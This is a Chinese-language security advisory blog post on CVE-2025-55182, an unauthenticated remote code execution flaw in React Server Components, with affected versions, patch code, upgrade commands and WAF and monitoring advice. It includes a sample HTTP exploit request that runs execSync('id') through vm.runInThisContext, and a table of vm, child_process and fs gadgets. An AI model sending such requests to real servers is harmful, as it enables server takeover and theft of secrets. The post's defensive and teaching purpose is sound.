CVE-2025-55182:React Server Components 的致命漏洞,CVSS 10.0 的未授权远程代码执行
⚠️ 严重警告:如果你在使用 React Server Components,请立即检查并升级到安全版本!

📌 漏洞速览
- CVE编号:CVE-2025-55182
- 严重程度:CVSS 10.0(最高级别)
- 漏洞类型:未授权远程代码执行(RCE)
- 影响范围:React 19.0.0, 19.1.0, 19.1.1, 19.2.0
- 修复版本:19.0.1, 19.1.2, 19.2.1
2025年12月3日,React 团队紧急发布安全公告,披露了一个影响 React Server Components 的严重安全漏洞。攻击者可以在无需身份验证 的情况下,通过精心构造的 HTTP 请求实现远程代码执行,完全控制服务器。
🎯 谁受影响?
如果你在使用以下任一技术栈,请立即检查:
- ✅ Next.js(所有使用 React Server Components 的版本)
- ✅ React Router(使用 RSC API)
- ✅ Waku
- ✅ Expo(使用 Server Components)
- ✅ Redwood SDK
- ✅ @vitejs/plugin-rsc
- ✅ 任何直接使用
react-server-dom-webpack、react-server-dom-parcel或react-server-dom-turbopack的项目
重要提示:即使你的应用没有实现任何 React Server Function 端点,只要支持 React Server Components,就可能存在风险!
🔍 漏洞原理深度解析
核心问题:原型链污染
这个漏洞的根本原因在于 React 在处理 Server Function 请求时,使用了不安全的属性访问方式。
漏洞代码位置
漏洞位于 react-server-dom-webpack 包的 requireModule 函数中:
javascript
// 漏洞代码(React 19.0.0)
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... 省略其他代码 ...
return moduleExports[metadata[2]]; // ⚠️ 危险:访问了原型链!
}
问题分析
在 JavaScript 中,使用方括号 obj[key] 访问属性时,会遍历整个原型链。这意味着:
javascript
const fs = require('fs');
fs['readFileSync'] // ✅ 正常:访问自己的属性
fs['constructor'] // ⚠️ 危险:访问到 Object.prototype.constructor
fs['__proto__'] // ⚠️ 危险:访问到 Object.prototype
攻击者可以利用这个特性,通过 #constructor、#__proto__ 等特殊属性名,访问到模块导出对象的原型链属性。
攻击流程
完整的攻击流程如下:
css
1. 攻击者发送恶意 HTTP POST 请求
↓
2. 请求包含 $ACTION_REF_0 和 $ACTION_0:0 字段
↓
3. decodeAction() 解析请求
↓
4. resolveServerReference() 解析模块ID(如 "vm#runInThisContext")
↓
5. requireModule() 加载模块并访问导出
↓
6. moduleExports[metadata[2]] 访问原型链 ⚠️
↓
7. 返回危险函数(如 vm.runInThisContext)
↓
8. 函数被调用,执行攻击者代码 💥
实际攻击示例
攻击者可以构造如下请求:
http
POST /formaction HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["process.mainModule.require('child_process').execSync('id').toString()"]}
------Boundary--
这个请求会:
- 加载
vm模块 - 访问
vm.runInThisContext方法 - 将攻击者的代码作为参数绑定
- 执行时运行
execSync('id'),实现命令执行
💣 攻击向量(RCE Gadgets)
根据安全研究,以下 Node.js 模块如果存在于 webpack bundle 中,都可以被利用:
直接 RCE 向量
| 模块 | 方法 | 攻击效果 |
|---|---|---|
vm |
runInThisContext |
在当前上下文执行任意 JavaScript |
vm |
runInNewContext |
在新上下文执行(可逃逸沙箱) |
child_process |
execSync |
直接执行 shell 命令 |
child_process |
execFileSync |
执行二进制文件 |
child_process |
spawnSync |
创建新进程 |
文件操作向量
| 模块 | 方法 | 攻击效果 |
|---|---|---|
fs |
readFileSync |
读取任意文件(如 .env、私钥) |
fs |
writeFileSync |
写入任意文件(持久化后门) |
真实场景中的风险
这些危险模块在真实项目中非常常见:
fs:几乎所有 Node.js 应用都会使用(145M+ 周下载量)- 常见包:
fs-extra、gray-matter、multer、sharp
- 常见包:
child_process:构建工具、PDF 生成、图像处理常用(103M+ 周下载量)- 常见包:
execa、shelljs、puppeteer、sharp
- 常见包:
vm:模板引擎、测试框架使用(21M+ 周下载量)- 常见包:
ejs、pug、handlebars、vm2
- 常见包:
这意味着大多数使用 React Server Components 的应用都可能存在可被利用的危险模块!
🛡️ 修复方案
立即升级
React 团队已经在以下版本中修复了漏洞:
react-server-dom-webpack: >= 19.0.1, >= 19.1.2, >= 19.2.1react-server-dom-parcel: >= 19.0.1, >= 19.1.2, >= 19.2.1react-server-dom-turbopack: >= 19.0.1, >= 19.1.2, >= 19.2.1
修复代码
修复后的代码使用了 hasOwnProperty 检查,确保只访问对象自身的属性:
javascript
// 修复后的代码(React 19.2.1+)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
框架特定升级指南
Next.js
bash
# 根据你的 Next.js 版本选择对应的修复版本
npm install next@15.0.5 # for 15.0.x
npm install next@15.1.9 # for 15.1.x
npm install next@15.2.6 # for 15.2.x
npm install next@15.3.6 # for 15.3.x
npm install next@15.4.8 # for 15.4.x
npm install next@15.5.7 # for 15.5.x
npm install next@16.0.7 # for 16.0.x
React Router
bash
npm install react@latest
npm install react-dom@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-webpack@latest
npm install @vitejs/plugin-rsc@latest
其他框架
- Expo :
npm install react@latest react-dom@latest react-server-dom-webpack@latest - Waku :
npm install react@latest react-dom@latest react-server-dom-webpack@latest waku@latest - Redwood SDK : 确保
rwsdk>=1.0.0-alpha.0,然后升级 React 相关包
🔒 额外防护措施
1. 依赖审计
检查你的项目是否包含危险模块:
bash
# 检查是否包含危险模块
npm list | grep -E "(vm|child_process|fs)"
2. Next.js 配置优化
在 next.config.js 中排除危险包,防止它们被打包:
javascript
module.exports = {
serverExternalPackages: [
'sharp',
'puppeteer',
'execa',
'shelljs'
]
}
3. WAF 规则
如果你的应用部署在支持 WAF 的环境,可以添加以下规则拦截可疑请求:
bash
# 拦截包含危险模式的请求
$ACTION_*#constructor
$ACTION_*#__proto__
$ACTION_*#prototype
vm#runInThisContext
child_process#execSync
fs#writeFileSync
4. 监控和告警
监控日志中的异常模式:
- 包含
#constructor、#__proto__的 Server Action 请求 - 对
vm、child_process等模块的异常访问 - 异常的 Server Function 调用
📊 漏洞时间线
- 2025年11月29日:Lachlan Davidson 通过 Meta Bug Bounty 报告漏洞
- 2025年11月30日:Meta 安全团队确认并开始修复
- 2025年12月1日:修复完成,开始与托管提供商和开源项目协调
- 2025年12月3日:修复发布到 npm,公开披露为 CVE-2025-55182
🎓 技术启示
这个漏洞给我们几个重要的安全启示:
1. 原型链访问的风险
在 JavaScript 中,使用方括号访问属性时,永远要考虑原型链 。对于用户可控的属性名,必须使用 hasOwnProperty 或 Object.prototype.hasOwnProperty.call() 进行检查。
2. 反序列化的危险性
任何涉及反序列化用户输入的地方都是高风险区域。React Server Components 的 Flight 协议本质上就是一种序列化/反序列化机制,需要严格验证。
3. 最小权限原则
即使修复了漏洞,也应该尽量减少服务器端 bundle 中包含的危险模块。只打包真正需要的代码。
4. 深度防御
Next.js 等框架在 React 底层之上添加了额外的验证层,这种深度防御策略在关键时刻起到了保护作用。
🔬 技术细节(进阶)
为什么 Function 构造函数不够?
你可能会想:既然可以访问 constructor,为什么不直接用 Function 构造函数执行代码?
问题在于,Function.bind(null, 'code')() 只会创建一个函数,而不会执行它:
javascript
Function.bind(null, 'return 1+1')()
// 返回:function anonymous() { return 1+1 }
// 不会执行!
而 vm.runInThisContext('1+1') 会立即执行并返回结果:
javascript
vm.runInThisContext('1+1')
// 返回:2(已执行)
这就是为什么攻击者需要 vm 或 child_process 这样的"执行型"gadget。
Next.js 的额外保护
在 Next.js 中,攻击难度更高,因为:
- Manifest 验证:Next.js 的 manifest 只包含注册的 Server Action 哈希,不包含原始模块引用
- 框架层验证 :
resolveServerReference()会在调用requireModule()之前进行验证 - 模块隔离:危险模块通常不会被打包到 Server Components bundle 中
但这不意味着 Next.js 应用完全安全------如果攻击者能够:
- 劫持现有的 action ID
- 利用 manifest 的原型污染
- 找到 bundler 的特殊行为
仍然可能实现攻击。
📚 相关资源
⚠️ 总结
CVE-2025-55182 是一个极其严重的漏洞,CVSS 10.0 的评分意味着:
- ✅ 无需身份验证即可利用
- ✅ 远程代码执行,完全控制服务器
- ✅ 影响广泛,几乎所有使用 React Server Components 的应用
如果你在使用 React Server Components,请立即:
- ✅ 检查你的 React 版本
- ✅ 升级到修复版本
- ✅ 检查依赖中是否包含危险模块
- ✅ 配置 WAF 规则(如果可能)
- ✅ 监控异常请求
安全无小事,及时更新是关键!🔐
作者注:本文基于 React 官方安全公告和实际漏洞研究编写。如果你发现了本文中的错误或需要补充,欢迎指正。
免责声明:本文仅用于安全研究和教育目的。请勿将本文中的技术用于非法用途。